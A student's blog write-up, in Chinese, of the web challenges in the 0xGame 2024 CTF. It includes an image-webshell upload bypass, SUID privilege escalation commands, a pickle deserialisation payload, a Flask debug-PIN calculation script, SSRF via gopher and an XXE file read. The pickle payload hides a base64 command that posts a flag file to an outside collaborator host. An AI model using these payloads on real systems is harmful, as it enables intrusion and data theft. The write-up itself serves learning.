0xGame2024web个人复盘

Wang1r Lv3

0xGame作为新生赛,难度曲线还是非常友好的,但本来参加比赛是冲着能把webAK了来的,但没想到后面的题目竟然都开始考rust和js了,我就在第三周溜了(想AK要学的东西也太多了吧)

Week1

第一周都是入门题,没有太大记录的必要

但是官方WP里给的一些工具网站 学习博客 都还挺好用的

记录一下

Week2

第二周就开始上强度了

picture

这道题与平时见到的入门级的文件上传漏洞基本差不多,就是加了过滤,过滤了后缀名与文件头(大概)

于是将一句话木马与图片组合成木马图片

然后抓包将后缀改为pHp

访问图片网址就可以命令执行了

hello_shell

这是我做得最痛苦的一道题,也是我第一次学习Linux提权

1
<?php highlight_file(__FILE__); $cmd = $_REQUEST['cmd'] ?? 'ls'; if (strpos($cmd, ' ') !== false) { echo strpos($cmd, ' '); die('no space allowed'); }@exec($cmd); // 没有回显怎么办?

命令执行与重定向,获知到根目录下有/flag文件

尝试读取,得知读取文件权限不够

于是写入一句话木马,蚁剑连接之后进入命令行(其实这一步也卡了)

然后就是Linux提权(这一步真的卡了我好久好久)

简单记录一下SUID提权流程

以下命令可以找到有suid权限的命令

1
2
3
4
5
find / -user root -perm -4000 -print 2>/dev/null 

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000 -exec ls -ldb {} \;

所谓suid就是,你本来是www-data的权限,但是当你执⾏有suid权限的⽂件时,你会暂时拥有这⽂件

所有者的权限(⽐如root)

找到网页目录下有一个可疑的wc程序

于是就利用它进行读取

这个网站 可以查到用法

baby_pickle

这个题也折磨我很久,不过折磨了一段之后就放弃了(所以没有上一题痛苦)

反序列化教程

我当时尝试通过pickle反序列化的protocol=0来绕过对/x00等的过滤,但会导致服务器错误,结果输出不出来

然后就没思路了(毕竟不太想去学手搓opcode)

没想到就是用手搓opcode

最终的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import base64 

opcode='''(cbuiltins

eval

S'__import__(\'pty\').spawn([\'bash\',\'-c\',\'echo

Y3VybCAtWCBQT1NUIGh0dHA6Ly9paDM1YTNjYTRnZG56emFkaWRwNTBsN2tzYnkybXNhaC5vYXN0aWZ

5LmNvbSAtZCAkKGNhdCAvdG1wL2ZsYWcp|base64 -d|bash\'])'

o.'''.encode()

print(base64.b64encode(opcode).decode())

baby_ssrf

gopher协议教程

这道题则是我第一次接触到gopher协议(学到的东西还不少嘞)

源文件如下:

1
2
from flask import Flask, request import os from urllib.parse import urlparse, urlunparse import subprocess import socket app = Flask(__name__) BlackList=[ "127.0.0.1" ]@app.route('/') 123456789101112
def index(): return open(__file__).read() @app.route('/cmd',methods=['POST']) def cmd(): if request.remote_addr != "127.0.0.1": return "Forbidden" if request.method == "GET": return "Hello World!" if request.method == "POST": return os.popen(request.form.get("cmd")).read() @app.route('/visit') def visit(): url = request.args.get('url') if url is None: return "No url provided" url = urlparse(url) realIpAddress = socket.gethostbyname(url.hostname) if url.scheme == "file" or realIpAddress in BlackList: return "Hacker!" result = subprocess.run(["curl","-L", urlunparse(url)], capture_output=True, text=True) # print(result.stderr) return result.stdout if __name__ == '__main__': app.run(host='0.0.0.0',port=8000)

就是用visit路由访问cmd路由进行SSRF

主要就gopher协议这一个考点,知道这个之后就好做了

baby_pe

flask调试模式计算pin码即可

进入之后还要进行一次Linux提权,不过这次给了find,直接用find提权即可

网上的计算pin码的教程:

pin码如何生成
pin码生成要六要素
1.username 在可以任意文件读的条件下读 /etc/passwd进行猜测
2.modname 默认flask.app
3.appname 默认Flask
4.moddir flask库下app.py的绝对路径,可以通过报错拿到,如传参的时候给个不存在的变量
5.uuidnode mac地址的十进制,任意文件读 /sys/class/net/eth0/address
6.machine_id 机器码 这个待会细说,一般就生成pin码不对就是这错了

在python3.8以后生成的脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import hashlib
from itertools import chain
probably_public_bits = [
'app',
'flask.app',
'Flask',
'/usr/local/lib/python3.8/site-packages/flask/app.py'
]

private_bits = [
'2485376911915',
'7265fe765262551a676151a24c02b7b646a18828428b87e35c5482255b121e8f7464b02e50ffe3f1d626f8c05793f49a'# get_machine_id(), /etc/machine-id /proc/sys/kernel/random/boot_id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num

print(rv)

baby_xxe

⼀个很简单的xxe,⽽且有回显,只需要读⽂件就⾏了

1
<?xml version="1.0"?> <!DOCTYPE root [ <!ELEMENT root ANY > <!ENTITY xxe SYSTEM "file:///flag" >]> <root><name>&xxe;</name></root>
  • 标题: 0xGame2024web个人复盘
  • 作者: Wang1r
  • 创建于 : 2024-11-10 22:00:00
  • 更新于 : 2025-04-07 12:33:46
  • 链接: https://wang1rrr.github.io/2024/11/10/0xGame2024web个人复盘/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。